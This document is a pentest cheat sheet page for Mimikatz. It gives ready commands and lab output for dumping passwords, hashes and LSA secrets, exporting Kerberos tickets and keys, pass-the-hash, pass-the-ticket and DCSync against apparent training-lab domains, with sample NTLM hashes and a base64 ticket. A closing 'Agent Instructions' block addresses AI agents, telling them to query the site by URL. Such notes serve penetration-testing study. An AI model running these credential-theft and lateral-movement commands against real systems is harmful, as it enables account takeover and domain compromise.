# Mimikatz {% embed url="" %} ## Executable {% embed url="" %} ## Powershell `Invoke-Mimikatz` {% embed url="" %} {% embed url="" %} ## List active user sessions ``` sekurlsa::logonPasswords full ``` ## Cache ``` PS C:\Users\Administrator\Desktop> .\mimikatz.exe token::elevate lsadump::cache exit ``` {% embed url="" %} ## SAM {% content-ref url="/pages/2bWJOAKkW5kAgsE6acxh" %} [SAM & LSA secrets](/0xss0rz/pentest/internal-pentest/sam-and-lsa-secrets.md) {% endcontent-ref %} ``` lsadump::sam ``` ## LSA {% content-ref url="/pages/2bWJOAKkW5kAgsE6acxh" %} [SAM & LSA secrets](/0xss0rz/pentest/internal-pentest/sam-and-lsa-secrets.md) {% endcontent-ref %} ``` lsadump::lsa /inject /name:krbtgt ``` ## Load lsass.dump (extract from procdump or task manager) {% content-ref url="/pages/m4HdilTxbGOcI2Vw6xI0" %} [LSASS secrets](/0xss0rz/pentest/internal-pentest/lsass-secrets.md) {% endcontent-ref %} {% content-ref url="/pages/0vVrx4e5HC5m1YLNy49S" %} [User Privileges](/0xss0rz/pentest/privilege-escalation/windows/user-privileges.md) {% endcontent-ref %} ```cmd-session C:\htb> mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # log Using 'mimikatz.log' for logfile : OK mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP : 'lsass.dmp' mimikatz # sekurlsa::logonpasswords Opening : 'lsass.dmp' file for minidump... Authentication Id : 0 ; 23196355 (00000000:0161f2c3) Session : Interactive from 4 User Name : DWM-4 Domain : Window Manager Logon Server : (null) Logon Time : 3/31/2021 3:00:57 PM SID : S-1-5-90-0-4 msv : tspkg : wdigest : * Username : WINLPE-SRV01$ * Domain : WORKGROUP * Password : (null) kerberos : ssp : credman : Authentication Id : 0 ; 23026942 (00000000:015f5cfe) Session : RemoteInteractive from 2 User Name : jordan Domain : WINLPE-SRV01 Logon Server : WINLPE-SRV01 Logon Time : 3/31/2021 2:59:52 PM SID : S-1-5-21-3769161915-3336846931-3985975925-1000 msv : [00000003] Primary * Username : jordan * Domain : WINLPE-SRV01 * NTLM : cf3a5525ee9414229e66279623ed5c58 * SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2 tspkg : wdigest : * Username : jordan * Domain : WINLPE-SRV01 * Password : (null) kerberos : * Username : jordan * Domain : WINLPE-SRV01 * Password : (null) ssp : credman : ``` Then Pass The Hash {% content-ref url="/pages/2nk7AOHO745kf6QdjHnB" %} [Pass the Hash (PtH)](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-hash-pth.md) {% endcontent-ref %} ## Export Tickets {% content-ref url="/pages/NIbRvfUKsjVAzmrF3gwe" %} [Pass the Ticket (PtT) - Windows](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-ticket-ptt-windows.md) {% endcontent-ref %} ```cmd-session mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::tickets /export ``` ```cmd-session mimikatz # exit Bye! c:\tools> dir *.kirbi Directory: c:\tools Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/12/2022 9:44 AM 1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi -a---- 7/12/2022 9:44 AM 1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi ``` If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account. ## Extract Kerberos Keys {% content-ref url="/pages/7UEeQqNiDRNVieQpPtlF" %} [Pass the Ticket (PtT) - Linux](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-ticket-ptt-linux.md) {% endcontent-ref %} ```cmd-session c:\tools> mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::ekeys ``` Then Pass the Key or OverPass the Hash ## Pass the Key or OverPass the Hash {% content-ref url="/pages/NIbRvfUKsjVAzmrF3gwe" %} [Pass the Ticket (PtT) - Windows](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-ticket-ptt-windows.md) {% endcontent-ref %} ```cmd-session c:\tools> mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f user : plaintext domain : inlanefreight.htb program : cmd.exe impers. : no NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f | PID 1128 | TID 3268 | LSA Process is now R/W | LUID 0 ; 3414364 (00000000:0034195c) \_ msv1_0 - data copy @ 000001C7DBC0B630 : OK ! \_ kerberos - data copy @ 000001C7E20EE578 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 000001C7E2136BC8 (32) -> null ``` ## Pass the Ticket (PtT) {% content-ref url="/pages/NIbRvfUKsjVAzmrF3gwe" %} [Pass the Ticket (PtT) - Windows](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-ticket-ptt-windows.md) {% endcontent-ref %} ```cmd-session C:\tools> mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi" * File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK mimikatz # exit Bye! c:\tools> dir \\DC01.inlanefreight.htb\c$ Directory: \\dc01.inlanefreight.htb\c$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 6/4/2022 11:17 AM Program Files d----- 6/4/2022 11:17 AM Program Files (x86) ``` We can use the Mimikatz module `misc` to launch a new command prompt window with the imported ticket using the `misc::cmd` command ## Kerberost {% content-ref url="/pages/WyP2ypGRBLxj0wkF4CEb" %} [Kerberoast](/0xss0rz/pentest/internal-pentest/kerberoast.md) {% endcontent-ref %} If we do not specify the `base64 /out:true` command, Mimikatz will extract the tickets and write them to `.kirbi` files ```cmd-session Using 'mimikatz.log' for logfile : OK mimikatz # base64 /out:true isBase64InterceptInput is false isBase64InterceptOutput is true mimikatz # kerberos::list /export [00000002] - 0x00000017 - rc4_hmac_nt Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM Server Name : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL Client Name : htb-student @ INLANEFREIGHT.LOCAL Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ; ==================== Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi ==================== doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE rQSCBKmBMUn7JhVJpqG0ll7UnRuoeoyRtHxTS8JY1cl6z0M4QbLvJHi0JYZdx1w5 sdzn9Q3tzCn8ipeu+NUaIsVyDuYU/LZG4o2FS83CyLNiu/r2Lc2ZM8Ve/rqdd+TG MjAyMjUwODU1MjVapxEYDzIwMjIwMzAzMjI1NTI1WqgVGxNJTkxBTkVGUkVJR0hU LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu ZWZyZWlnaHQubG9jYWw6MTQzMw== ==================== * Saved to file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi ``` ## DCSync {% content-ref url="/pages/xnKTwmiIoj8HdMcJZAjp" %} [DCSync](/0xss0rz/pentest/internal-pentest/dcsync.md) {% endcontent-ref %} ``` C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell Enter the password for INLANEFREIGHT\adunn: Attempting to start powershell as user "INLANEFREIGHT\adunn" ... ``` ``` PS C:\htb> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator [DC] 'INLANEFREIGHT.LOCAL' will be the domain [DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server [DC] 'INLANEFREIGHT\administrator' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : Administrator ** SAM ACCOUNT ** SAM Username : administrator User Principal Name : administrator@inlanefreight.local Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) Account expiration : Password last change : 10/27/2021 6:49:32 AM Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-500 Object Relative ID : 500 Credentials: Hash NTLM: 88ad09182de639ccc6579eb0849751cf Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 4625fd0c31368ff4c255a3b876eaac3d ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xss0rz.gitbook.io/0xss0rz/pentest/tools/mimikatz.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.